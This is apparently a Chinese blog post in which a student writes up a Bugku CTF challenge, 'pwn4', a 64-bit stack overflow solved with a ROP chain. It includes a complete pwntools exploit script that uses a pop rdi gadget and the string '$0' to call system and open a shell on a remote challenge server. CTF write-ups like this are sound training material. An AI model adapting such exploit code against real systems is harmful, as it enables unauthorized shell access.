暑假训练pwn(4)不能被落下太远额

今天做的是一道bugku的pwn题发现好多都是64位的…可能写的不太好但重在自己去理解
64位的好难不会做,pwn4,这是一个明显的栈溢出,然后我们没有’/bin/sh’额额我是用了
strings -a -tx pwn4|grep ‘’/bin/sh" 用了ROPgadget无果后直接查找发现"$0"可以代替它无语了,然后就是构造ROP链了很简单这道题
我们找到system函数的地址跳到它然后再找到"$0"的地址用pop rdi | ret 链起来就可以了
找字符串可以这样 ROPgadget --binary pwn4 --strings ‘/bin/sh’
32位的函数传参是用的栈,然后64位函数传参用的是寄存器(7位之前)rdi、rsi、rdx、rcx、r8、r9来传参
最后给上exp:

from pwn import *
def pwn(ip,port,debug):
    if(debug==1):
        p=process('./pwn4')
        elf=ELF('./pwn4')
    else:
        p=remote(ip,port)
    offset=24
    system_addr=0x000000000040075A
    print system_addr
    gadget=0x4007d3
    bin_sh=0x000000000060111f
    payload='a'*offset+p64(gadget)+p64(bin_sh)+p64(system_addr)
    p.recvuntil('Come on,try to pwn me\n')
    p.sendline(payload)
    p.interactive()

if __name__=="__main__":
    pwn('114.116.54.89',10004,1)

```还有为什么我用elf.symbols['system']找出来的函数地址不对~~~~
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值